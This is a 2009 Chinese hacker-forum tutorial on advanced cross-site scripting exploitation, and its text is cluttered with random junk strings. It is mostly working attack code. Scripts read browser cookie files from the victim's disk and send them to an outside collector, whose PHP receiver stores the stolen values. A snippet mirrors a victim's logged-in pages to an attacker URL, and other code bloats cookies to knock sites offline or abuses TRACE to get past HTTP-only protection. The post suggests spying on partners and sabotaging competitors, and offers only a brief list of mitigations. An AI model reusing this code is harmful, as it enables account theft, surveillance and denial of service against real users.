XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
/ z- x; k/ K1 H% E5 L2 I本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
) y3 `& b* o5 W3 _By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


0 l1 y' i2 D$ A; c3 b: E& I
) N9 W3 Z: F' z-------------------------------------------前言---------------------------------------------------------
5 @8 n9 A5 t+ b* b3 j

* W1 f7 R1 |# H本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
3 R" K- x" P1 t% A- [

6 B5 S7 l2 g/ P) y如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
* b% q& j; V- ?4 o7 X. lhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
: P6 K5 i# B  }3 {- x/ U9 ahttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

0 C5 _0 R$ |& U- I! R
- w( _& }$ g6 T# F$ v

5 G3 a4 i  n3 s/ H4 k& u8 V" l; }# m* m如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
8 r* e) y9 M7 q1 l
) B" W( V; j( |/ _* f- Z希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
+ Z' g- c: @/ U/ L1 @7 f
$ L* [! F1 @( Y( j2 ~( EBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
2 s' k0 z0 F% c; {8 U
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
9 q) ^2 i3 N( m2 k/ Q9 a* u3 T
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
& {' _; j: r) Y& [% @* W& d
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
7 H# B6 O: v0 H7 ^$ h6 Z/ d0 v8 U7 [

, t/ O- G6 [& \
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
7 @& z& I; @2 h
8 f- l& r" `, f2 y3 ~

! l& w8 L, `5 e0 m( _8 g如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
3 d) w* ^8 P" q! g7 F+ M复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
0 D' T  \& _# f; B; K
, A" r8 @+ w, Y! v! _8 \" d- J1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

" @- c3 o5 b4 ?2 d& f) m$ W; S. _9 e3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
2 h6 z& h* t7 ~

+ [% }: w; [4 Y- X& t# c; D
+ x, s& N0 L  p8 q通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
/ L2 c6 e9 I' v2 }0 W- m4 ]+ R% x复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
7 _9 n! _$ p2 ^4 `: g1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2 }1 G; W% N! t2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
, M! C) Z: M+ m, \9 P- T- X4:Http-only可以采用作为COOKIES保护方式之一.

- M: m' E$ N$ h7 I/ ]$ o
* a5 g: q5 y* `
, h2 a) w/ O9 y( ~
: ^! b7 g$ s5 q/ p
6 i2 m0 O) d6 M+ W(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

; Q2 c# Q  m3 v* N0 V" u
9 \% q& F6 h$ d7 K) X
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
& k$ `. F; S" D$ W4 b

$ [( H  J1 l* b8 S& ^  S# C
7 c$ e4 @* V5 w) j2 n( C$ i    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
8 g4 r9 J& T$ @: D' w6 L
1 ?. L2 O9 ?7 n- H
. l" i4 [* t" Y6 x% n3 X  j. S1 R
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
' H7 |! T! H( w) f; O- E复制代码IE6使用ajax读取本地文件    <script>
2 W% ]+ u; {9 `& e  d
/ p0 f" |) W, a  u# v7 t; [; z" U    function $(x){return document.getElementById(x)}

0 ?3 x, F5 ^  v% F  a+ h0 U
7 G) b+ `) Z2 t4 e+ M7 L
( P, C( _* X: `  r" E) k7 M    function ajax_obj(){

  C# t. z' @5 c. v+ i) s- u3 R7 R    var request = false;
% f* e0 y, h0 O# p- \, d# v6 r
/ I% c2 V# X* ^3 F8 }7 y    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
% [5 _0 q, N% n; q5 d
- U2 j; i+ H; S5 F, B9 L    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

- f, L0 d7 F; f" w: p' W! o
$ \. C  X/ R, t" a3 P4 X  `
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) [' F/ E0 a4 G3 m  f1 S
    for(var i=0; i<versions.length; i++) {

* ^; t: L! q* g8 ~% B    try {
, M% i% q; s( H1 S
5 [- |7 L$ m& l0 A7 B0 O    request = new ActiveXObject(versions);
/ I% Y/ d0 M9 U& j
  s3 n6 g5 A8 F3 U3 I    } catch(e) {}

    }

- F. P+ m, I7 h; {    }
/ v+ X; l0 S  P  n/ p1 u$ E
6 W3 f& ^8 a5 q% f6 e" s    return request;

    }
$ i! u. G) D  y" I+ i
    var _x = ajax_obj();
, S, e0 I+ S$ g
# [+ e1 ^; O  O; X2 l    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
6 @+ W5 y, E5 _5 L& ]. Q& q8 }
' i8 z% Y1 l% Q% r    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
" N/ f" ^7 q8 U+ i
5 U  v) O6 H$ Y4 ~, Q    _x.send(argv);

    return _x.responseText;
8 _% J3 x1 [3 I4 b8 y; C
; h. m# k3 n3 ]  f1 N; J# @; A3 Y    }
0 g! Z  u) T' N! L1 ~. P


: Z1 q, K$ \1 p, N    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
& C: i9 {. v9 a6 ^
% }7 X9 j1 G) s3 ^2 W+ p" n    alert(txt);
: c. i' H% O0 e  z$ H


; K( u" G8 u+ _0 m3 T' R- y8 d    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
( c; P* R( h8 U1 }/ [- u/ G
    function $(x){return document.getElementById(x)}
" h: K& }4 G! {' o5 i  @- Z$ L) |


    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
3 D, R6 q) u, K8 x/ g# _
+ r  b. |! K, x% u    request = new XMLHttpRequest();
+ H" Q8 a1 O! @3 f. j
    } else if(window.ActiveXObject) {
4 g0 w6 p/ ]( U( J! T
4 R4 E- W# z3 Y! Y4 Q7 M7 @$ u    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
- y- \0 B$ c- z, }0 ~# _1 B
9 B% ^* d; z) a$ C: y% x
1 L6 M! i: L& J
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! [) ?( c# n3 V- e2 l# ~# ]2 x9 `) r
    for(var i=0; i<versions.length; i++) {
" y& a" C- N- }$ B" x9 s
2 d6 O$ n; j( u3 P5 p    try {
7 A& g2 S3 i! |2 Q3 B0 X- H8 [8 y2 i
; Y" v/ z. f+ h  k    request = new ActiveXObject(versions);
# ]% T- |7 e2 `5 u' o
1 R) m7 I/ P+ `, a9 r, d    } catch(e) {}

    }

# a# F1 ?2 q: f    }

    return request;
# e; b) J- ]/ H- J4 B
# L! J$ I) n) _$ T2 d    }

    var _x = ajax_obj();

, B% m# r) z* q6 M0 w    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
  h  t5 C1 O. }1 i- e
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

- e8 J% o: [( R# W    _x.send(argv);
8 U) D+ d! z7 w! v: L9 z
; K% Z# f1 C4 Q. G2 |, h    return _x.responseText;

    }
; S4 W0 R" r  X' |! p! c. r
6 S2 [4 Z0 f+ s: b8 L

    var txt=_7or3("GET","1/11.txt",null);

$ b8 ], i; ~3 E5 ^, x    alert(txt);

, ]" l& i# A) x. e% j4 O7 B
6 |3 ^9 b, h* Q' Q
% z2 M/ b8 t5 G+ t" Z8 |# i: c    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
3 S  P) b/ V  i+ J4 G
( Z: ^; H5 Q0 U9 E

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
1 E: P$ u' K7 g* U/ K+ u
1 F+ x2 L5 E% |: P. R) P# ^! m2 f
* G  s& @2 c' M8 w( r- j5 a
! R) N* @  S# i! `! m, N* k<?   
- R8 z1 y" Q' a: v9 a. p% R2 Q
/*  

+ Q% a: y0 b# [8 V     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
1 d" q+ z+ U, ^1 N; q6 }! M$ n. {
8 e2 s. q" s9 {7 I; k8 v     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

, d" a3 Y  ^. i5 D$ {4 A*/  
$ N1 D2 p( r. u; e$ K0 e  S
header("Content-Disposition: attachment;filename=kxlzx.htm");   
  ^6 j& |$ P, ?5 g
header("Content-type: application/kxlzx");   
- S( I, H- I. z" s
/*  
! c- m& @0 [: l: L! u7 E. g
     set header, so just download html file,and open it at local.  

*/  

7 b, q4 |% x+ b% z' {" v% z7 _# b9 ]?>   
1 @: S) @7 m. N. k6 {# [) x
5 M$ ?5 [( |" k1 h<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
. C' \" [3 s3 s  N
/ p+ n4 X. W7 C% m0 K     <input id="input" name="cookie" value="" type="hidden">   

2 o0 b& z! P( W% s0 r! S1 e</form>   
) B, N( m' \- W$ ~3 T/ G+ `! E
) |- q: o5 `; @4 n0 r) N" B<script>   
5 ]* M. F4 K3 j: v5 u
function doMyAjax(user)   

{   
- L& W* F& ]# P/ `' _
1 D# z3 S, A1 [1 y  o4 U% T7 Uvar time = Math.random();   

/*  
5 ?& }( S! P3 l3 p8 ?
. i+ V! L. p; i4 Tthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

. x, ]3 n. d  S+ n, W) v/ zand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

9 {4 |4 e5 T% t/ o- i2 k- m5 |and so on...  

5 Q! H( ]& ~; I" F*/  
1 ~$ X, L8 }" K" x; M
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
6 p  b) e* w4 s  }+ r6 o! f( n
   

startRequest(strPer);   

" J% b4 m% F1 {! g% ^# F; [
, I& |3 S. \# @, U5 b! f8 J# _
$ }( ~/ k1 C) J3 C3 C6 _5 ?% `1 f}   

   
6 f5 s1 u3 u( U) n
  `- G/ h/ Z% N! c3 b% S" Wfunction Enshellcode(txt)   
; S" U2 J8 |6 J6 ^
3 ?  s3 h1 `) z  ]& X6 _; x/ A{   
' T( s: G; a" n6 s, E
, e! F3 m& }. H& C% @$ {) Kvar url=new String(txt);   
! Y0 \  P5 k' A
# d& k6 Q! f' X; w0 P7 z+ pvar i=0,l=0,k=0,curl="";   
( W+ u$ l" g; B. K0 l5 l
. @7 @( e$ h8 D( a9 m# ?3 I6 gl= url.length;   
2 n  ^/ ?( j* x9 ]
for(;i<l;i++){   
7 {9 v- i* g# i
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

) F! [, `4 |1 l( Bif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
! [+ m* a3 U8 ^+ a
& b; H$ H1 N" @- c/ e1 [3 `2 Kreturn curl;   

% ?/ Z: J/ n, D}   

   

   

$ o6 T7 m6 ^8 T6 {. Pvar xmlHttp;   

4 U( k# D3 W* s- }function createXMLHttp(){   
; R  H6 b% c1 Y; U1 k3 H& p
, o: W  D+ T" N1 |8 O& f     if(window.XMLHttpRequest){   
! O5 P5 w! @/ x! f6 j% x( G' ]
5 [3 f0 h$ I1 h; \( X) a# x; oxmlHttp = new XMLHttpRequest();           
, k# P! M: F6 L: i) h2 u1 n
     }   
% i1 p/ }8 W  b: ]8 y
     else if(window.ActiveXObject){   
5 L+ d6 Y3 Y- A0 R5 t3 e3 {7 |
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

2 `+ X0 M* E) b2 d6 A2 Q# F     }   
$ s* Q6 I8 y: F3 [9 Q  m
: s2 {; b9 S0 C2 h}   
. m) X* p/ k* N' V0 [1 R( x# g
   
, n3 h. N, U/ o. Q; R
3 c4 n: j+ u3 z/ C7 T: h9 Gfunction startRequest(doUrl){   

/ _+ v8 s; a; U   
( L# h0 F2 x# R9 W
0 h& H$ w6 I/ ^2 |. g     createXMLHttp();   

( Q* c$ J3 G( |2 G+ l
; @& V1 J5 r! t5 Y7 t1 {5 d' {
     xmlHttp.onreadystatechange = handleStateChange;   
' {$ t  R4 ?8 ^0 g2 f9 {$ M# t
8 Y3 P6 h( z+ [6 J9 y. ?
0 T' {5 E9 ]. v. L( C' N" [  K
     xmlHttp.open("GET", doUrl, true);   
. r: k1 t  J" v

! R+ A/ ~/ c5 W% T6 d& k
     xmlHttp.send(null);   
/ ?6 I8 t- U$ J8 F& s% x
3 h  K" \2 H6 S4 F
: A4 p: b6 \7 G& O/ `' H2 `


1 i$ M' p6 c* w$ S}   

, |! Z1 q& C" A8 }   
- S/ w% O+ n# m9 W: H
! Q& G+ w- Z( Hfunction handleStateChange(){   

" {) H/ T" ~4 N! G& z: O  w) w* R) ~  K/ L     if (xmlHttp.readyState == 4 ){   

' x. f. E" x$ C1 j" y     var strResponse = "";   
% @. ^) L4 a* t) w) X6 B/ m! J
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

     }   

& M5 o4 b! [; z1 v6 n4 \}   
$ m$ m2 s- g" Y0 Z
8 {' b8 |" \4 Q* s5 `8 c   
9 e" J+ F/ _6 t. p
   
. C2 o" G9 f8 X9 J
function framekxlzxPost(text)   
; S' B: R  u- k0 y) K! T- J
{   
! `' l$ Z1 G; z! d0 ]( K3 v: g
9 W2 w9 M& n5 l     document.getElementById("input").value = Enshellcode(text);   
+ B! d$ S2 R% q/ E  l2 I( [! ?# e
     document.getElementById("form").submit();   
1 Y# q0 \/ F3 y6 G
6 |5 l9 a: \( `5 W4 L. N0 x}   

   

doMyAjax("administrator");   
4 t" ~& j2 R3 a+ ^
" f* ^( W; ]- m& _5 A   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

% \3 \7 b$ G( D! uvar xmlHttp;  
9 Z2 _$ v3 ]3 f, r, R
function createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
2 t% x6 h# l. S  k% e- P' \; T
     }  
  e! s$ w' `2 E  G$ ~
1 a8 u3 B) N' \, e7 b2 l7 z0 e     else if(window.ActiveXObject){  
5 ^) f4 P( v# @# @1 D
9 L6 |% s' D0 P  A: V0 `         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
  y1 b& T1 A& Y8 G8 d
/ {! w7 s9 y) \& n3 x% p" u     }  
. B9 f0 S) [! e+ [9 b- V
}  
( Q. b1 h1 r4 T0 j
% G) n5 n% `6 f   
; o, b. e5 n; O8 a
! ~( S, L' v$ |9 F- m: w# ~function startRequest(doUrl){  
  c5 J; ^# g% ~$ S8 O
5 }3 N* K+ h$ a4 S9 [           
: I9 p9 ^5 E7 t" Y) x& {/ u
( z# U: s8 h5 Y+ [0 f7 F* K8 ?     createXMLHttp();  

      

     xmlHttp.onreadystatechange = handleStateChange;  
$ `& w$ x* {, T1 s) U: C% ~
      
9 S& o3 N1 }( s) c% W  i
     xmlHttp.open("GET", doUrl, true);  
" U+ U/ N# m. d: d9 K3 |
% H- b3 |2 N3 i1 K- [+ M      
4 L) ?8 H! _. o0 a5 ]
/ N  @. E- {( s( b# p# B; P     xmlHttp.send(null);  

# ?# k1 H, o; `, ^3 }0 L      
5 y9 |* s% E$ w  w1 S$ O: f3 C3 [
      

4 _9 y3 e. e3 J& Q+ }2 l3 E}   

   
4 h8 D; z8 b* q' j0 v+ S0 G/ p
% A, j7 H# g$ Y1 V, Bfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

7 \! b" i% Z" [, K             var strResponse = "";  

2 L; o1 D' U2 x) \2 W# c$ E             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

8 |7 _! x: y& c* Q" \+ U     }  
* k3 h* ^: f$ E' ~) ~+ f6 ~! ~: _
# ?: Z, L) w7 M/ e}  

   
4 i0 z6 U8 i: d) B/ D9 V
function doMyAjax(user,file)  

' W8 F( Z+ G6 a% j$ Q) E5 J{  

+ c/ V# V" h. ?1 O9 w         var time = Math.random();  

           
" O' h  C) s: y7 i6 e, i( V/ c
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

$ H' y6 q% i6 {; d" W4 ^         startRequest(strPer);  

      

}  

   
" Y) E5 A$ k: m" z) v4 M+ \
& y( Z2 e* u; C* b- qfunction framekxlzxPost(text)  

5 d/ b. V; z4 G$ K6 l{  

8 P2 H9 ]9 u" \$ [% s     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  

   
- K/ q/ J; v* M( p, H
& j9 x+ g0 i0 @/ |3 e5 H" LdoMyAjax('administrator','administrator@alibaba[1].txt');  

   
* S# f# T1 |0 T/ ]7 R
/ I1 k7 @( W+ _4 q9 t% \$ Q& w</script>
" l  `  H" l6 l0 s' ?4 j$ _$ d+ S
6 J; E( v( u' D
4 R: |5 v! t# p, d( K- i7 v

) j3 c/ f% d( D; I
a.php
, d% P) X$ F* ]. l. w4 G8 h
) T) m8 h3 s! x) d* j
% k3 X8 u! E: Y
<?php      
( v1 i: J% [5 k: i- p$ x3 [
. G9 n: y5 |. B7 ]; J7 ]" h- y+ h   
+ J" s8 M7 j/ p0 r+ ]6 n" y
: `" J9 S( e& Y8 u+ H$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
. _8 E4 J1 h3 a
1 O, Z% {! j4 H4 c, G  c8 n  
3 }$ b! p9 T7 W6 Z% ]2 ?" Y4 u
3 m  h) y' }0 E0 F  o# T" w, T! G$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

. J" i5 i9 }/ @! ufclose($fp);   

5 b2 l" U4 f3 n9 v?>
8 Y$ {( b8 p& v  `. y( d复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
* j1 z9 I! h; B$ b: s) ?, @2 Y: [, b
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
, }# ?- I4 P5 e! X' [" R7 V5 I/ d
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
1 }3 U% V0 z# x. `, h. Y* j+ v
. D$ l/ v* |- g6 r- v9 w# B5 H! V//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
: }, o1 g! h- P; [( C( }
7 [, P- l, q1 C8 u6 d5 [7 Y//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
+ V. N. n/ H5 X: D" q$ _5 s
function getURL(s) {

var image = new Image();

5 v% u$ q5 E+ ^image.style.width = 0;

5 q, S% V1 Z4 _6 zimage.style.height = 0;
2 e- r% S" M3 ]6 D: E4 X, G
image.src = s;

  g& g' u# h) B6 g( {}
/ L# h, I4 ^8 P5 t
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
* b$ \% N( O. [$ t( e复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

; p( N( n" n. O0 M; g1 c) Kvar metastr = "AAAAAAAAAA"; // 10 A
' d1 V0 V' v4 i( \: J
var str = "";

while (str.length < 4000){
3 X% ]) j& O  M
2 |' v. u2 S8 |6 h1 D- }    str += metastr;

6 G* ^/ F/ Y5 w: Q}
/ R. T# t9 {2 g


4 o/ z5 P% q: i* |3 S! hdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
2 L1 _8 b) [7 C+ A. K
& z$ i7 c3 j3 ~! p- j</script>

: P7 T: c( u& @; D  ^6 ]详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
2 \8 f; R' h4 ^, j) [攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
5 }3 }% E* E/ C8 K; @
5 T+ j! Q, }' d5 ?. `$ f0 |; g




(III) Http only bypass 与 补救对策:
# o+ f; [+ H( E& s4 s" d
! f5 Y3 y& ]3 K& d7 E5 I) z( c( v( n什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
$ h! w  D. B" t$ p
function normalCookie() {
; m/ C0 ~! l4 k: O6 M& g$ N1 v2 I
document.cookie = "TheCookieName=CookieValue_httpOnly";

# d: c$ r# _/ V% o, j9 E- j$ k' palert(document.cookie);

6 k' N# x2 T( F* K7 C+ q; p}

( D2 ^3 l9 g& A- K( Z3 ~

7 |" u! \( n. e: ^% e/ O

/ ~& M; n9 b1 X2 [function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
4 J% P3 g: g8 V( G4 ~) L, J  n
alert(document.cookie);}
( O  J7 u8 d; N( e3 L+ ~6 z

5 g9 s7 b1 o2 [. @2 {
//-->

</script>


. `1 J' j2 t& ~1 @! |! _
. D4 S! @1 w( P) s<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

2 S, w) U9 }. W<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
! c4 A) c: X# v9 X- j' e, m复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
% ~2 Q2 R- v. W  Z$ Z0 p; w; i6 z  ^
) h1 _# {6 ^* C5 X: k" E0 H- [

) y. `" t: m; b  O* ?4 v0 S2 Lvar request = false;

        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

- L! y+ J/ r5 q7 g            if(request.overrideMimeType) {
; b. f) P4 s- `6 C
* `$ r9 S! u& p- L2 g  c; n                request.overrideMimeType('text/xml');

7 b. P9 _6 z- Q( r            }
7 f' X" Q( Z; e6 C, S+ H0 b  e
        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: w8 e- C  }9 u! V5 U! ]
            for(var i=0; i<versions.length; i++) {

4 u, X7 M  B& y' V$ P" ~" e5 H                try {
1 T! p9 `$ `; x! U
- B6 @% l# ~) f# ~  I5 W7 g                    request = new ActiveXObject(versions);
5 W5 |' c5 Q7 V& [8 ^
: Z! k- Y, _1 A+ m. ~7 I* z# \                } catch(e) {}
/ U- G* F+ B7 i
4 X1 u/ h9 d2 h; T$ c            }

        }

9 l- m# {/ u8 w# r1 _5 g* \) XxmlHttp=request;

3 T( D0 N) y& T  c7 T: ExmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
5 E1 A6 m0 q+ i' G# L: a& _" d
xmlDoc=xmlHttp.responseText;
+ E4 @5 S! ^9 z' ]& j
' g7 ^5 }% }7 Z+ k2 D9 F! qalert(xmlDoc);

</script>
0 m/ ?/ l' p8 z6 A复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
! c' s, s8 I9 ^4 d8 \: Y/ n" @
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 K) }" \# l, Q) k
XmlHttp.open("GET","http://www.google.com",false);

2 n7 ]9 m/ y6 NXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

2 k. B' I& O3 v7 G0 SXmlHttp.send(null);
0 Z5 W& ~  t9 a3 H2 x% V2 Y' N
3 y6 M# ^. Y% ^4 S, W  R( y# M( z9 xvar resource=xmlHttp.responseText
6 Q# e8 ?* c; k; ~& D
resource.search(/cookies/);
* z& z! I/ i6 I8 x( M
8 x# \0 @" n% ^3 g: I" {/ U......................
! R' ~) }2 T7 m+ b' G( o
/ J2 K  @" r5 k+ p0 x7 {6 l</script>
' D1 c0 i1 L- w+ Y, j
; L' m5 z# n# A3 Z- G) u( R
) n) o( ?2 Z, X8 c% w

% `, @' s% v5 D* T6 u
